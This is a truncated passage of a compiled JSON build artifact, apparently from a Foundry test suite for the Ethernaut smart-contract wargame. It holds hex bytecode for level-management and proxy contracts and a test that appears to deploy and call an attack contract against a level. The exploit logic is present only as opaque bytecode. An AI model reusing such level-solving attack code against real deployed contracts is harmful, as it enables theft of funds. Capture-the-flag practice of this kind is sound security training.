0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d107fd8f052715cc0db9fc3347517e8e876a83b3d3a952450ff90152d85307eb64736f6c63430008180033", + "sourceMap": "3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;445:1710:133;420:32:154;259:12:155;445:1710:133;420:32:154;410:43;382:71;;445:1710:133;;;;;;;;;;;;;;;;", + "linkReferences": {} + }, + "deployedBytecode": { + "object": "0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b4d565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001b90565b620001b3620001fa36600462001c7c565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d4f565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e12565b620001da6200025736600462001edf565b62000ef8565b6200019a62001088565b62000271620011ea565b604051620001c7919062001ef7565b620001b36200029136600462001f5d565b620012bf565b62000237620013de565b620002b8620002b236600462001f7b565b620014d8565b6040519015158152602001620001c7565b6200027162001668565b6200019a6200173d565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017d6565b620001da620018aa565b6200019a6200032f36600462001edf565b6200190a565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001fb7565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fb7565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012bf565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001af2565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002058565b90508060018251620009829190620021e8565b8151811062000995576200099562001fb7565b60200260200101515f0151600281518110620009b557620009b562001fb7565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab49190810190620021fe565b90505f81848560405160200162000acd92919062002250565b60408051601f198184030181529082905262000aed9291602001620022fe565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002330565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b959190810190620021fe565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200197e90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002344565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002344565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001bde565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb491906200237e565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001fb7565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040517f45b560780000000000000000000000000000000000000000000000000000000081526001600160a01b03909116600482018190526024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906345b56078906044015f604051808303815f87803b158015620010ff575f80fd5b505af115801562001112573d5f803e3d5ffd5b50506021546040515f93506701aa535d3d0c000092506001600160a01b03909116906200113f9062001b00565b6001600160a01b0390911681526020016040518091039082f09050801580156200116b573d5f803e3d5ffd5b509050806001600160a01b0316639e5faafc6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620011a7575f80fd5b505af1158015620011ba573d5f803e3d5ffd5b5050602054602154620011e79350620011e192506001600160a01b039182169116620014d8565b62001a20565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200122d9062002344565b80601f01602080910402602001604051908101604052809291908181526020018280546200125b9062002344565b8015620012aa5780601f106200128057610100808354040283529160200191620012aa565b820191905f5260205f20905b8154815290600101906020018083116200128c57829003601f168201915b5050505050815260200190600101906200120d565b5f80604051620012cf9062001b0e565b604051809103905ff080158015620012e9573d5f803e3d5ffd5b5090505f604051620012fb9062001b1c565b604051809103905ff08015801562001315573d5f803e3d5ffd5b508483604051620013269062001b2a565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001360573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013bf575f80fd5b505af1158015620013d2573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014bf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200146b5790505b5050505050815250508152602001906001019062001401565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001534575f80fd5b505af115801562001547573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015a5575f80fd5b505af1158015620015b8573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200161c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001645919081019062002058565b90506001815111156200165d57600191505062001662565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016ab9062002344565b80601f0160208091040260200160405190810160405280929190818152602001828054620016d99062002344565b8015620017285780601f10620016fe5761010080835404028352916020019162001728565b820191905f5260205f20905b8154815290600101906020018083116200170a57829003601f168201915b5050505050815260200190600101906200168b565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001794575f80fd5b505af1158015620017a7573d5f803e3d5ffd5b5050602054602154620017d49350620017ce92506001600160a01b039182169116620014d8565b62001a9f565b565b6008545f9060ff1615620017ee575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200187d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018a391906200239c565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019178243620023b4565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019d59086908690600401620023ca565b5f60405180830381865afa158015620019f0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a199190810190620023fb565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a85575f80fd5b505afa15801562001a98573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a6e565b610b74806200243283390190565b61031e8062002fa683390190565b610ae580620032c483390190565b611e7a8062003da983390190565b610daa8062005c2383390190565b6001600160a01b0381168114620011e7575f80fd5b5f805f6060848603121562001b60575f80fd5b833562001b6d8162001b38565b9250602084013562001b7f8162001b38565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bd25783516001600160a01b03168352928401929184019160010162001bab565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c185762001c1862001bde565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c4a5762001c4a62001bde565b604052919050565b5f67ffffffffffffffff82111562001c6e5762001c6e62001bde565b50601f01601f191660200190565b5f6020828403121562001c8d575f80fd5b813567ffffffffffffffff81111562001ca4575f80fd5b8201601f8101841362001cb5575f80fd5b803562001ccc62001cc68262001c52565b62001c1e565b81815285602083850101111562001ce1575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d1a57818101518382015260200162001d00565b50505f910152565b5f815180845262001d3b81602086016020860162001cfe565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e0357603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dec57605f1988850301835262001dd984865162001d22565b948d01949350918c019160010162001dba565b505050968901969350509087019060010162001d74565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ed157888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ebb5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e77565b5096890196945050509086019060010162001e39565b509098975050505050505050565b5f6020828403121562001ef0575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f5057603f1988860301845262001f3d85835162001d22565b9450928501929085019060010162001f1e565b5092979650505050505050565b5f6020828403121562001f6e575f80fd5b813562001a198162001b38565b5f806040838503121562001f8d575f80fd5b823562001f9a8162001b38565b9150602083013562001fac8162001b38565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fe75762001fe762001bde565b5060051b60200190565b5f6200200162001cc68462001c52565b905082815283838301111562002015575f80fd5b62001a1983602083018462001cfe565b5f82601f83011262002035575f80fd5b62001a198383516020850162001ff1565b8051620020538162001b38565b919050565b5f60208083850312156200206a575f80fd5b825167ffffffffffffffff8082111562002082575f80fd5b818501915085601f83011262002096575f80fd5b8151620020a762001cc68262001fcb565b81815260059190911b83018401908481019088831115620020c6575f80fd5b8585015b83811015620021c757805185811115620020e2575f80fd5b86016060818c03601f19011215620020f8575f80fd5b6200210262001bf2565b888201518781111562002113575f80fd5b8201603f81018d1362002124575f80fd5b898101516200213762001cc68262001fcb565b81815260059190911b8201604001908b8101908f